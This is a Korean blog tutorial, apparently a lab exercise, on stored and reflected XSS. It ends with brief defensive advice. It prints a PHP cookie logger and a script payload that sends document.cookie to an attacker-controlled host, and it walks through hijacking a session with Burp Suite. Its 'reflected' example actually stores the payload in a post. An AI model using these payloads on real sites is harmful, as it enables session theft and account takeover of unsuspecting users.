본문 바로가기

웹 보안

XSS 공격

반응형

오늘은 XSS 공격에 대해서 배워볼꺼야!
웹보안을 배웠다면 XSS 공격에 대해선 한번씩 들어봤을텐데 XSS 공격을 직접 실행해보고
cookie 값을 burp suite로 직접 탈취해보는 시간을 가져보도록 할께~
XSS 공격을 실행하기 전에 먼저 XSS 공격이 무슨 공격인지를 알고 가보도록 하자..!
 
 
XSS 공격 = Cross Site Scripting 공격
공격자가 상대방의 브라우저에 스크립트가 실행되도록 해 사용자의 세션을 가로채거나, 웹사이트를 변조하거나, 악의적 콘텐츠를 삽입하거나, 피싱 공격을 하는 것을 뜻해
밑에 그림을 보면 좀 더 이해하기 쉬울꺼야..!!
 

 
그래서 우리가 실습할 때 사용할 script 언어는 javascript로 script가 실행되는지 확인을 해볼꺼야
XSS 공격은 보통 Stored 방식과 Reflected 방식 두가지로 나뉘는데 첫번째로 Stored 방식을 진행해볼께
이제 XSS 공격을 실습할 web page로 접속하자
 
 
 

1. Stored XSS 방식
 

Web server 정보
- OS정보: CentOS7(Linux)
- IP 정보: 192.168.10.180 
 
현재 jinwoo라는 계정을 만들고 web page에 접속을 한 상태야
 
 
 

web page 초기화면

 
 

database에 등록된 회원 정보

 
 
자 이제 jinwoo 라는 계정으로 게시판에 들어가서 게시글을 한번 올려보도록할께..!!
근데, 게시글을 남겨놓을 때 내가 특정 script를 넣어놓을꺼야 ㅎㅎ 
게시글은 올리지만 해당 게시글에 script를 숨겨넣는 방식이지
 
script: <script>alert(documnet.cookie)</script>
 

 
이제 게시글이 잘 등록되었는지 확인하고 게시글을 클릭해보도록 하자
 
 
 

게시글은 잘 등록되었으니 한번 들어가볼까??

 
 
 

어..?? 이게 뭐지..?? PHPSESSID=??

 

게시글은 잘 보이네??

 
일단 이상한 창이 뜨지만 확인을 누르면 정상적으로 게시글을 볼 수 있게 되어있어
방금 확인 버튼을 누르기 전에 해당 session을 드래그해서 PHPSESSID의 값을 저장해놓고 
이제 kali linux로 들어가서 한 번 작업을 진행해보도록 할께
 
PHPSESSID=tet86nnoj6jfapkmgfgfviac52
 
여기서 잠깐..!!
이 값은 cookie 값인데 cookie에 대한 설명을 간단하게 말하자면....
 
cookie 값에는 TCP 연결을 유지하기 위한 session값이 들어가 있어 그만큼 웹 페이지 접속에 있어서 매우 중요한 정보가
담겨있는 값이지 이 값은 client에서 저장 및 관리를 하는데 일종의 client를 인증하기 위한 인식 값으로 사용하고 있지~
 
하지만 다음과 같이 sniffing 공격에 약할 뿐만 아니라 proxy server를 통한 cookie 값 변조 및 탈취 위험에 노출되어 있어
그래서 요즘은 일정시간이 지나면 session 값이 바뀌도록 개발되어 있지만,
실습을 위해서 지금 web page는 취약한 상태로 만들어 놓았어 
 
이제, kali linux에 firefox로 192.168.10.180 web page에 접속을 하도록 하자
이 때, kali에서 burp suite를 실행하여 proxy 서버를 통한 cookie 값이 나오도록 작동시켜놓자
 
 

192.168.10.180으로 접속..!!

 
 

접속하는데 Cookie: PHPSESSID=~~ 라고 적힌 부분을 볼 수 있지??

 
자 아까 위에 PHPSESSID 값을 Cookie: PHPSESSID= 값에 넣어보도록 할께

값을 변경해서 넣은 것 볼 수 있지??

 
자 이제 변조된 값을 forward해서 web page에 접속해보도록 하자
과연 어떤 결과가 나올까??
 
 

어?? response에 보니까 connect success라고 나오네..??

 
 

로그인 안했는데 jinwoo 계정으로 로그인이 되었네...???

 

 
2. Reflected XSS 공격
 

Reflected XSS 공격은 보통 URL 파라미터(특히 GET 방식)에 스크립트를 넣어
서버에 저장하지 않고 그 즉시 스크립트를 만드는 방식이야
아까 위에서 한 stored 방식은 게시글을 web server에 저장하고 이를 클릭하면 server로부터 응답을 받아
공격하는 방식인 반면,Reflected 방식은 URL의 파라미터 자체에 script를 넣어서 server에 직접 저장하지 않고도 공격이 가능한 방식이야바로 실습해보도록 하자!
 
kali linux IP: 192.168.10.138
 
kali에 다음과 같은 php 코드를 작성해보자
 

 

<?php 
$fd=fopen("/sevas/cookie.bat","a+") or die ("can't open file"); 
fputs($fd, $_SERVER['REMOTE_ADDR']. "Cookie is" .$_GET["cookie"]."\n"); 
fclose($fd);
?>


fopen 함수를 통해 /sevas/cookie.bat 파일을 open하는데 해당 파일이 없을 경우 파일을 생성후,
fputs() 함수의 내용을 추가하고 만약 파일이 존재하면 fputs() 함수의 내용만을 추가해
접속한 IP주소와 해당 cookie 값을 추출할 수 있도록 하는 명령어 code가 성공적으로 실행되면 원격접속한 ip 주소, cookie is [탈취한 cookie값] 이 cookie.bat에 기록될거야
 
 
이제 게시판에 가서 다음과 같이 script 명령어를 입력해보도록 하자

<script><img name="i" width="0" height="0"></img> 
<script> i.src="http://192.168.10.138/getcookie.php?cookie="+document.cookie</script> 
</script>
 
<img name="i" width="0" height="0"></img>
 
<script>i.src="http://192.168.10.138/getcookie.php?cookie="+document.cookie"</script>



다음과 같이 code를 입력하면 밑에 script code가 보이지 않게 된다는 꼼수를 쓰는거야

그리고 ip 출발지 주소가 10.138인 host의 getcookie.php 파일을 실행하는데
전달할 때 parameter 값은 cookie 관련된 값을 보낸다는 code..!!
 

 
자 이제 게시글을 등록하고 게시글을 클릭해볼까?
 

??? 뭐지???

 
게시글을 클릭해봤지만 아까 stored 방식처럼 경고창도 뜨지 않고 일반 게시글과 다를바가 없는데?
하.지.만...!!
아까 i.src=192.168.10.138 인 kali linux에는 어떤 변화가 있는지 확인해보자
kali linux에서 dir를 /sevas로 옮겨가서 파일을 확인해보도록 하자
 

어..?! cookie 값이 들어있네??

 
그러면 아까와 똑같이 해당 cookie값을 복사해서 PHPSESSID에 값을 변조하면 
게시글을 쓴 계정으로 웹 페이지에 접속할 수 있게 되겠지..?? 
여기까지가 XSS 공격 실습이었어..!!  그렇다면 XSS 공격을 막을 수 있는 방법은 뭐가 있을까??
 
 
 
 
보안 방법
 
1. Java script와 같이 특수문자를 쓰는 경우가 많은 script 언어의 특징을 방지하기 위해서
특수문자들을 사용하지 못하도록 차단해야 돼..!! 즉, secure coding을 해야 된다!

2. cookie 값은 client에 저장되기 때문에 server에 저장하는 방식보다 취약할 수 밖에 없어
그렇기 때문에 client 저장방식이 아닌 server 저장방식을 하도록 하는 것이 보안적으로 안정적인데
이걸 session ID 방식이라고 해

3. 입력값에 대한 검증은 client에서 진행하는 것보다 server에서 진행하도록 한다!
 
오늘은 여기까지~!!! 다음시간에는 다른 공격에 대해 알아보도록 하자~
 
 

반응형

'웹 보안' 카테고리의 다른 글

HTTP method status code  (0) 2023.11.08
Blind SQL injection  (0) 2023.02.06
Non-Blind SQL injection  (0) 2022.12.13
SQL injection  (0) 2022.11.22
Web Hacking  (0) 2022.11.22